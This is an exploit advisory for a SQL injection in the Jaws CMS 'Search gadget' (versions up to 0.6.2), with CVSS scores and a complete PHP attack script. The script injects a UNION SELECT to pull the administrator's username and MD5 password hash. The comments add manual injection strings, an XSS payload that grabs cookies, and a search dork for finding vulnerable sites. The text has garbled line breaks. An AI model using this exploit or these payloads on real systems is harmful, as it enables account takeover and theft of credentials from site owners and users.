Jaws <= 0.6.2 'Search gadget' SQL injection

2006.07.01
Credit: rgod
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php -q -d short_open_tag=on <? echo "Jaws <= 0.6.2 'Search gadget' SQL injection / admin credentials disclosurern"; echo "by rgod rgod (at) autistici (dot) org [email concealed]rn"; echo "site: http://retrogod.altervista.orgrn"; echo "dork: "powered by jaws" | "powered by the jaws project" | inurl:?gadget=searchrnrn"; /* works regardless of php.ini settings if 'Search gadget' is enabled */ if ($argc<3) { echo "Usage: php ".$argv[0]." host path OPTIONSrn"; echo "host: target server (ip/hostname)rn"; echo "path: path to jawsrn"; echo "Options:rn"; echo " -T[prefix] specify a table prefix different from default (no prefix)rn"; echo " try blog_ evenrn"; echo " -p[port]: specify a port other than 80rn"; echo " -P[ip:port]: specify a proxyrn"; echo "Example:rn"; echo "php ".$argv[0]." localhost /jaws/ rn"; echo "php ".$argv[0]." localhost /jaws/ -Tblog_rn"; die; } # software site: http://www.jaws-project.com/ # manual exploitation: # # i)sql injection: # go to http://[target]/[path_to_jaws]/?gadget=Search # if search module is enabled, in search field type: # # 1%')/**/UNION/**/SELECT/**/0,passwd,username,0,0/**/FROM/**/users/**/WHE RE/**/id=1/* # # or @ # 1%')/**/UNION/**/SELECT/**/0,passwd,username,0,0/**/FROM/**/blog_users/* */WHERE/**/id=1/* # # now at screen you have admin username & password hash # this works with magic_quotes_gpc both on & off # # ii)xss: # http://[target]/[path_to_jaws]/gadgets/RssReader/extras/magpierss/script s/magpie_slashbox.php?rss_url=<script>alert(document.cookie)</script> error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } function is_hash($hash) { if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;} else {return false;} } $host=$argv[1]; $path=$argv[2]; $port=80; $prefix=""; $proxy=""; for ($i=3; $i<=$argc-1; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $sql="1%')/**/UNION/**/SELECT/**/0,CONCAT('*SUNTZU*',passwd,'*SUNTZU*'), CONCAT('*SUNTZOI*',username,'*SUNTZOI*'),0,0/**/FROM/**/".$prefix."users /**/WHERE/**/id=1/*"; $sql=urlencode($sql); $data="gadget=Search"; $data.="&action=Results"; $data.="&gadgets=All"; $data.="&searchdata=".$sql; $data.="&searchButton=Search"; $packet="POST ".$p."index.php HTTP/1.0rn"; $packet.="Content-Type: application/x-www-form-urlencodedrn"; $packet.="Accept-Encoding: text/plainrn"; $packet.="User-Agent: Googlebot/2.1rn"; $packet.="Host: ".$host."rn"; $packet.="Content-Length: ".strlen($data)."rn"; $packet.="Connection: Closernrn"; $packet.=$data; sendpacketii($packet); if (eregi("Gadget is not enabled",$html)) { die("search gadget is not enabled... exploit failed"); } $temp=explode('">*SUNTZOI*',$html); $temp2=explode('*SUNTZOI*',$temp[1]); $admin=$temp2[0]; $temp=explode('href="*SUNTZU*',$html); $temp2=explode('*SUNTZU*',$temp[1]); $hash=$temp2[0]; if (($admin<>'') and ($hash<>'') and (is_hash($hash))) { echo "Exploit succeeded...rn"; echo "--------------------------------------------------------------------r n"; echo "admin -> ".$admin."rn"; echo "password (md5) -> ".$hash."rn"; echo "--------------------------------------------------------------------r n"; } else { echo "Exploit failed, maybe wrong table prefix..."; } ?> original url: http://retrogod.altervista.org/JAWS_062_sql.html


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